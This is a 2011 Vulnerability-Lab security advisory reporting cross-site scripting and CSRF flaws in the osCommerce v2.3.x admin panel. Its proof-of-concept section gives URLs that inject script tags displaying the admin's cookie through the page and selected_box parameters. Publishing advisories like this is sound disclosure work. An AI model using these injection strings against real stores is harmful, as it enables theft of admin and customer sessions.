Administrator Remote Exploit

Document Title: =============== osCommerce v2.3.x - Multiple Cross Site Vulnerabilities Release Date: ============= 2011-07-31 Vulnerability Laboratory ID (VL-ID): ==================================== 241 Product & Service Introduction: =============================== osCommerce has attracted a large growing e-commerce community that consists of over 224,600 store owners and developers who support each other and extend osCommerce Online Merchant with add-ons being contributed on a daily basis. To date there are over 5,700 add-ons that are available for free to customize osCommerce Online Merchant online stores and to help increase sales. osCommerce Online Merchant is an Open Source online shop e-commerce solution that is available for free under the GNU General Public License. It features a rich set of out-of-the-box online shopping cart functionality that allows store owners to setup, run, and maintain online stores with minimum effort and with no costs, fees, or limitations involved. With over 8 years of operation, osCommerce has built a showcase of over 12,700 online shops that have been voluntarily added to the live shops section, and powers many thousands of more online shops worldwide. Abstract Advisory Information: ============================== Vulnerability-Lab Team discovered multiple Vulnerabilities on osCommerce. Vulnerability Disclosure Timeline: ================================== 2011-08-02: Vendor Notification 2011-00-00: Vendor Response/Feedback 2011-00-00: Vendor Fix/Patch 2011-00-00: Public or Non-Public Disclosure Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Low Technical Details & Description: ================================ 1.1 Multiple non-persistent Cross-Site Scripting are detected on the administrationpanel of osCommerce CMS. Attackers can force manipulated client side requests via user inter action to hijack admin & customer sessions. Vulnerable Module(s): [+] ?page= [+] ?selected_box= [+] orders_status Pictures: ../osc1.png 1.2 A client-side Cross Site Request Forgery vulnerability is detected on the administrationpanel of osCommerce CMS. Vulnerable Module(s): [+] Administrator Pictures: ../osc2.png Proof of Concept (PoC): ======================= The Vulnerabilities can be exploited by remote attacker with required user inter action. For demonstration or reproduce ... 1.1 Vulnerable Parameter (non-persistent) ... Admin-Area http://xxx.com/oscommerce/admin/currencies.php?page=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221 http://xxx.com/oscommerce/admin/countries.php?page=1%27%22%3Ch1%3Eblob http://xxx.com/oscommerce/admin/customers.php?selected_box=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221 http://xxx.com/oscommerce/admin/orders_status.php?page=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221 1.2 Cross-Site Request Forgery (non-persistent) ... Administrator Remote Exploit Security Risk: ============== The security risk of both client side vulnerabilities are estimated as low. Credits & Authors: ================== Vulnerability Research Laboratory Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory